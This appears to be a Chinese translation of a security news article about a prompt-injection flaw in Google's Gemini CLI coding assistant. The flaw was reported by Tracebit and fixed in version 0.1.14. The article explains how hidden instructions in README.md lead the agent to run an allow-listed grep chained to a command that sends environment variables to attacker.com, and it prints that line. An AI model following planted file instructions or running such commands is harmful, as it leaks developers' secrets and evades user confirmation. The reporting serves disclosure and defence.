Gemini CLI AI编程助手漏洞可导致隐蔽代码执行

阅读量24222

发布时间 : 2025-07-30 16:44:09

x
译文声明

本文是翻译文章,文章原作者 Bill Toulas,文章来源:bleepingcomputer

原文地址:https://www.bleepingcomputer.com/news/security/flaw-in-gemini-cli-ai-coding-assistant-allowed-stealthy-code-execution/

译文仅供参考,具体内容表达以及含义原文为准。

谷歌的 Gemini CLI 工具被发现存在一个安全漏洞,攻击者可借此绕过用户确认,悄悄执行恶意命令,并通过被允许的程序从开发者电脑中窃取数据。

该漏洞由安全公司 Tracebit 于 6 月 27 日发现并报告给谷歌。谷歌已于 7 月 25 日发布的 0.1.14 版本中修复了这一问题

Gemini CLI 是谷歌于 2025 年 6 月 25 日推出的命令行工具,允许开发者通过终端直接与 Gemini AI 交互。它能够加载项目文件作为“上下文”,并使用自然语言指令帮助开发者编写代码、提出建议,甚至执行本地命令。命令执行分为两种:一种需用户确认,另一种则可在“允许列表”中的命令自动执行

Tracebit 团队在该工具发布后立即进行了安全测试,发现攻击者可以利用上下文机制诱导 Gemini 执行恶意命令,配合用户界面设计的缺陷,这种攻击几乎无法察觉。

攻击的关键点在于 Gemini CLI 会读取项目中的 README.mdGEMINI.md 文件,并将其内容作为提示的一部分。这就为“提示注入”(Prompt Injection)提供了可乘之机。研究人员发现,攻击者可以将隐藏的恶意指令写入这些文件中,再借助不严谨的命令解析逻辑和“允许列表”判断,诱导 Gemini 执行这些指令。

Tracebit 展示的攻击场景是:在一个看似正常的代码仓库中,添加一个无害的 Python 脚本和一个被植入恶意内容的 README.md 文件。随后使用 Gemini CLI 扫描该项目时,AI 会先执行一个表面上看起来没问题的命令(如 grep ^Setup README.md),但由于该命令后跟有分号(;)隔开的恶意命令,整个字符串就变成了:

grep ^Setup README.md; curl -d @/proc/self/environ https://attacker.com

如果用户此前将 grep 加入了允许列表,Gemini CLI 就会无提示地执行整条命令,导致环境变量等敏感信息被悄悄发送至攻击者服务器。

恶意命令

此外,攻击者还可以利用空格、换行等方式隐藏命令,使得输出结果看起来毫无异常,进一步降低用户察觉的可能性。

虽然这类攻击需要一定前提条件(如用户设置了允许自动执行的命令),但 Tracebit 指出,对于有目的的攻击者来说,这种方式具备实用价值。

这一事件再次表明,即便是以安全为卖点的 AI 编程助手,在处理用户输入和文件内容时依然可能被“绕过”,执行原本不应执行的敏感操作。

Tracebit 建议所有 Gemini CLI 用户尽快升级到最新的 0.1.14 版本。同时避免在不受信任的代码仓库上运行该工具,或仅在沙箱等隔离环境中使用。

Tracebit 还表示,他们也尝试对其他 AI 编程工具如 OpenAI Codex 和 Anthropic Claude 进行类似测试,但这些工具由于具备更严谨的允许机制,并未出现可利用的漏洞。

本文翻译自bleepingcomputer 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
安全客
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66